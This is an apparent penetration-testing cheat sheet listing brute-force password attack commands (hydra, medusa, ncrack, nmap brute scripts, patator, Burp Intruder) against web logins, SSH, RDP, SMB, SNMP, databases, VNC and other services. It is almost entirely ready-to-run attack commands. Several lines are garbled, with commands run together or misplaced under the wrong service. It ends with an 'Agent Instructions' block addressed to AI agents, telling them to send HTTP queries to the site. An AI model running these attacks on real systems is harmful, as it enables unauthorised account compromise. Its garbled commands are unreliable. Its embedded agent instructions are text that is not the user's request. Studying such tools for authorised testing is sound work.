# Brute-force service password
### Web
```
hydra 10.0.0.1 http-post-form “/admin.php:target=auth&mode=login&user=^USER^&password=^PASS^:invalid” -P /usr/share/wordlists/rockyou.txt -l admin
```
#### Logins
Use Burp suite.
1. Intecept a login attempt.
2. Right-lick "Send to intruder". Select Sniper if you have nly one field you want to bruteforce. If you for example already know the username. Otherwise select cluster-attack.
3. Select your payload, your wordlist.
4. Click attack.
5. Look for response-length that differs from the rest.
#### HTTP Basic Auth
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/medusa -h -u -P -M http -m DIR:/path/to/auth -T 10
```
#### HTTP - Post Form
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
```
#### HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle
```
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
```
#### Hydra attack http get 401 login with a dictionary
```
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin
```
### SSH
```
hydra -l admin -P /usr/share/wordlists/rockyou.txt -o results.txt ssh://$ip
```
```
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh
```
```
hydra -v -V -u -L users.txt -p "" -t 1 -u $ip ssh
```
```
hydra -l root -P wordlist.txt $ip ssh
```
```
hydra -L userlist.txt -P best1050.txt $ip -s 22 ssh -V
```
```
hydra -l root -P passwords.txt [-t 32] ssh
```
```
ncrack -p 22 --user root -P passwords.txt [-T 5]
```
```
medusa -u root -P 500-worst-passwords.txt -h -M ssh
```
### SNMP
```
hydra -P wordlist.txt -v $ip snmp
```
```
nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ]
```
```
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp_onesixtyone.txt
```
```
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
### Remote Desktop Protocol
```
ncrack -vv --user admin -P password-file.txt rdp://$ip
```
```
ncrack -vv --user -P pwds.txt rdp://
```
```
hydra -V -f -L -P rdp://hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
```
### AFP
```
nmap -p 548 --script afp-brute
```
### AJP
```
nmap --script ajp-brute -p 8009
```
### Cassandra Apache
```
nmap --script cassandra-brute -p 9160
```
### CouchDB
```
msf> use auxiliary/scanner/couchdb/couchdb_login
```
### FTP
```
hydra -l root -P passwords.txt [-t 32] ftpncrack -p 21 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M ftp
```
### IMAP
```
hydra -l USERNAME -P /path/to/passwords.txt -f imap -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -Vnmap -sV --script imap-brute -p
```
### IRC
```
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p
```
### ISCSI
```
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260
```
### LDAP
```
nmap --script ldap-brute -p 389
```
```
hydra -L users.txt -P passwords.txt $ip ldap2 -V -f
```
### Mongo
```
nmap -sV --script mongodb-brute -n -p 27017
```
### MySQL
```
hydra -L usernames.txt -P pass.txt mysql
```
### OracleSQL
```
pip3 install cx_Oracle --upgradepatator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
```
```
./odat.py passwordguesser -s $SERVER -d $SID./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
```
```
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=
```
```
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30john hashes.txt
```
### POP3
```
hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V
```
```
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V
```
### PostgreSQL
```
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres
```
```
medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
```
```
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432
```
```
patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
```
```
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432
```
### PPTP
```
cat rockyou.txt | thc-pptp-bruter –u
```
### Redis
```
nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis
```
### Rexec
```
hydra -l -P rexec:// -v -V
```
### Rlogin
```
hydra -l -P rlogin:// -v -V
```
### Rsh
```
hydra -L rsh:// -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind%E2%80%8B)
### Rsync
```
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873
```
### RTSP
```
hydra -l root -P passwords.txt rtsp
```
### SMB
```
nmap --script smb-brute -p 445
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
```
### Telnet
```
hydra -l root -P passwords.txt [-t 32] telnetncrack -p 23 --user root -P passwords.txt [-T 5]medusa -u root -P 500-worst-passwords.txt -h -M telnet
```
### VNC
```
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vncmedusa -h –u root -P /root/Desktop/pass.txt –M vncncrack -V --user root -P /root/Desktop/pass.txt :>POR>T
```
```
patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login
```
```
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432
```
### SMTP
```
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://gabb4r.gitbook.io/oscp-notes/password-attacks/brute-force-service-password.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.